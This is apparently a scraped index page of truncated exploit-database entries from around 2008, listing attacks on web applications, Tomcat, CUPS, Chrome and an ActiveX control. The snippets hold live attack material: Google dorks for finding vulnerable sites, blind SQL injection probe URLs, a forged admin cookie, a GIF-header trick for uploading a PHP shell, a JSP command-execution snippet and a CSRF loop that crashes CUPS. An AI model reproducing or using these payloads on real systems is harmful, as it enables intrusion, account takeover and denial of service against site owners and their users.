Tizag Countdown Creator 3 - Insecure Upload

Tizag Countdown Creator 3 - Insecure Upload remote file upload script: tizag-countdownVersion3 download from:http://www.tizag.com/downloads/tizag-countdownVersion3.zip www.site.com/path/index.php upload file.php shell= www.site.com/path/pics/file.php Author: ahmadbady my mail:...

Wbstreet v.1.0 (SQL/DD) Multiple Remote Vulnerabilities

No description provided by source. =================================================================== Wbstreet v.1.0 show.php id Remote SQL Injection Vulnerability =================================================================== ,--^----------,--------,-----,-------^--, | ||||||||| --------' ...

Gallery MX 2.0.0 - Blind SQL Injection

Gallery MX 2.0.0 - Blind SQL Injection ----------------------------بسم الله الرحمن الرحيم------------------------------ Tybe:picspre.asp ID Blind SQL Injection Vulnerability Vendor: www.mxmania.net/ Software: Gallery MX author: я3d D3v!L Date: 28.11.2008 Home: www.ahacker.biz...

AssoCIateD 1.4.4 Remote Cross Site Scripting Vulnerability

============================================================== AssoCIateD 1.4.4 Remote Cross Site Scripting Vulnerability ============================================================== ,--^----------,--------,-----,-------^--, | ||||||||| --------' | O .. CWH Underground Hacking Team...

ktpccd-lfi.txt

!/usr/bin/perl -w ====================================== KTPCCD Local File Inclusion Exploit ====================================== ,--^----------,--------,-----,-------^--, | ||||||||| --------' | O .. CWH Underground Hacking Team .. +---------------------------^----------| ,-------, | / XXXXXX...

associated-xss.txt

============================================================== AssoCIateD 1.4.4 Remote Cross Site Scripting Vulnerability ============================================================== ,--^----------,--------,-----,-------^--, | ||||||||| --------' | O .. CWH Underground Hacking Team...

Active Bids 3.5 - itemID Blind SQL Injection

Active Bids 3.5 - itemID Blind SQL Injection Tybe : Remote Blind SQL Injection Vulnerability Vendor : www.activewebsoftwares.com Software : Active Bids author : Mountassif Moad http://site.il/activebids/bidhistory.asp?ItemID=354%20and%201=1...

Apache Tomcat (Windows) - runtime.getRuntime().exec() Local Privilege Escalation

Apache Tomcat Windows - runtime.getRuntime.exec Local Privilege Escalation Abysssec inc abysssec.com JSP vulnerability JSP Privilege Escalation Vulnerability PoC "; Process p = Runtime.getRuntime.execrequest.getParameter"cmd"; OutputStream os = p.getOutputStream; InputStream in = p.getInputStream...

Ocean12 FAQ Manager Pro - 'ID' Blind SQL Injection

--------------------------------------------------------- Portal Name: Ocean12 FAQ Manager Pro Author : Mountassif Moad Evil Finger / v4 Team Vulnerability : Blind Sql Injection --------------------------------------------------------- Exploit : site.com/?Action=Cat&ID=40%20and%201=1 true...

SailPlanner 0.3a - Authentication Bypass

------------------------------------------------------------------------- -- JIKO FroM No-exploit.Com --- ------------------------------------------------------------------------- Author : jiko email : [email protected] Home : www.no-exploit.Com Script :...

Star Articles 6.0 - Blind SQL Injection (1)

Star Articles 6.0 - Blind SQL Injection 1 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ + + + stararticles blind sql injection Vulnerability + + + + Discovered by b3hz4d + + + + WwW.DeltaHacking.Net + + + + + + +...

WebStudio eHotel - Blind SQL Injection

WebStudio eHotel - Blind SQL Injection WebStudio eHotel pageid Blind SQL Injection Vulnerability Author: Hussin X Home : www.IQ-TY.com & www.TrYaG.cc script : http://www.bdigital.biz/index.php?pageid=216 DorK : "Powered by WebStudio eHotel" Demo :...

Google Chrome - MetaCharacter URI Obfuscation

Google Chrome - MetaCharacter URI Obfuscation Google Chrome MetaCharacter URI Obfuscation Vulnerability. Google Chrome MetaCharacter URI Obfuscation Vulnerability.C SecNiche Security / Proof of Concept By:- Aditya K Sood. This POC has been designed with minimum object usage. This can be made more...

BitDefender (module pdf.xmd) Infinite Loop Denial of Service PoC

No description provided by source. Deny Of Service and infinite loop in BitDefender module pdf.xmd / ProTeuS @ cih.ms / tested on pdf.xmd BitDefender's pdf engine by Alexandru Matei 0.1,Oct 8 2008, CRC32=A393F805 and on pdf.xmd last update by the moment of publication Deny of service occurs durin...

CUPS 1.3.7 - Cross-Site Request Forgery (Add RSS Subscription) Remote Crash

CUPS 1.3.7 - Cross-Site Request Forgery Add RSS Subscription Remote Crash // make 101 CSRFed requests to CUPS daemon via 'img' tags // causes CUPS daemon to crash // by Adrian 'pagvac' Pastor | GNUCITIZEN.org forvar i=1;i"; / TESTED ON: Ubuntu 8.04.1 fully patched as of 19th Oct 2008 Linux...

VeryPDF PDFView - OCX ActiveX OpenPDF Heap Overflow (PoC)

Sub Boom buff = String1006, "A" target.OpenPDF buff, 1, 1 End Sub milw0rm.com 2008-11-15...

Joomla! Component com_books - 'book_id' SQL Injection

Joomla combooksbookid SQL injection Vulnerability Author : boom3rang Kosova Hackers Group www.khg-crew.ws Greetz : H!tm@N, KHG, chs, redc00de, pr0xy-ki11er, LiTTle-Hack3r, L1RIDON1. ! ModuleName: combooks ! ScriptName: Joomla ! GoogleDork: inurl:"combooks" Example:...

Joomla! Component JooBlog 0.1.1 - PostID SQL Injection

Joomla! Component JooBlog 0.1.1 - PostID SQL Injection Joomla Component comjb2PostID SQL-injetion Vulnerability Author : boom3rang Kosova Hackers Group www.khg-crew.ws Greetz : H!tm@N, KHG, chs, redc00de, LiTTle-Hack3r, L1RIDON1. ! ModuleName: comjb2 ! ScriptName: Joomla ! GoogleDork:...

V3 Chat ProfilesDating Script 3.0.2 - Insecure Cookie Handling

V3 Chat ProfilesDating Script 3.0.2 - Insecure Cookie Handling + V3 Chat - Profiles/Dating Script v3.0.2 Insecure Cookie Handling Vulnerability + Discovered By : Mountassif Moad + Greetz : All my freind Exploit: javascript:document.cookie = "admin=1; path=/"; milw0rm.com 2008-11-08...

zeeproperty 1.0 - Arbitrary File Upload / Cross-Site Scripting

ZEEPROPERTY v1.0 remote file Upload & XSS author: ZoRLu msn: [email protected] home: www.z0rlu.blogspot.com dork: "Designed & Developed by Zeeways.com" first register to site you add this code your shell to head GIF89a; example yourshell.php: GIF89a; and save yoursheell.php after login to site...